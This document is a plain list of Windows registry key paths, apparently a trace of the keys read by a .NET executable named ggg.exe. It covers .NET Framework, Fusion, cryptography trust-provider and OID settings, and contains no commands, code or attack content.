HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v2.0.50727
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\AppPatch
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\AppPatch\v4.0.30319.00000\mscorwks.dll
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ggg.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_CURRENT_USER\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\Internet
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Security\Policy\Extensions\NamedPermissionSets\LocalIntranet
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v2.0.50727\Security\Policy
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\GACChangeNotification\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\crypt32
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DebugHeapFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\msasn1
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Certificate\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Certificate\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Certificate\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Initialization\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Initialization\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Initialization\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Message\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Message\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Message\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Signature\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Signature\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Signature\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\CertCheck\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\CertCheck\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\CertCheck\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\DiagnosticPolicy\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Providers\Trust\Cleanup\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\State
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Security
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Security\Safety Warning Level
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\Safer
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\Safer
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\TrustedPublisher\Safer
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DiagLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DiagMatchAnyMask
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Wintrust\Config
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{000C10F1-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{06C9E010-38CE-11D4-A2A3-00104BD35090}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{1A610570-38CE-11D4-A2A3-00104BD35090}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{BA08A66F-113B-4D58-9329-A1B37AF30F0E}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptSIPDllPutSignedDataMsg
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{000C10F1-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{06C9E010-38CE-11D4-A2A3-00104BD35090}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{1A610570-38CE-11D4-A2A3-00104BD35090}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{BA08A66F-113B-4D58-9329-A1B37AF30F0E}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptSIPDllGetSignedDataMsg
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7\Name
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MUI\StringCacheSettings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\StringCacheSettings\StringCacheGeneration
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4b\7F06864B
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\LanguageList
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\p2pcollab.dll,-8042
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7\Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dnsapi.dll,-103
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv\#16
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv\Ldap
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CertDllOpenStoreProv
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{000C10F1-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{06C9E010-38CE-11D4-A2A3-00104BD35090}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{1A610570-38CE-11D4-A2A3-00104BD35090}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{BA08A66F-113B-4D58-9329-A1B37AF30F0E}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptSIPDllVerifyIndirectData
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllEncodeObjectEx
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.1.1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.11
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.12
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.2
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.3
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObjectEx\1.2.840.113549.1.9.16.2.4
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllEncodeObject
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2000
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2001
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2002
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2003
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2004
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2005
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2006
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2007
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2008
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2009
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2130
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2221
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\#2222
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.12.2.1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.12.2.2
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.16.1.1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.16.4
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.10
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.11
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.12
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.15
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.20
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CryptDllEncodeObject\1.3.6.1.4.1.311.2.1.25
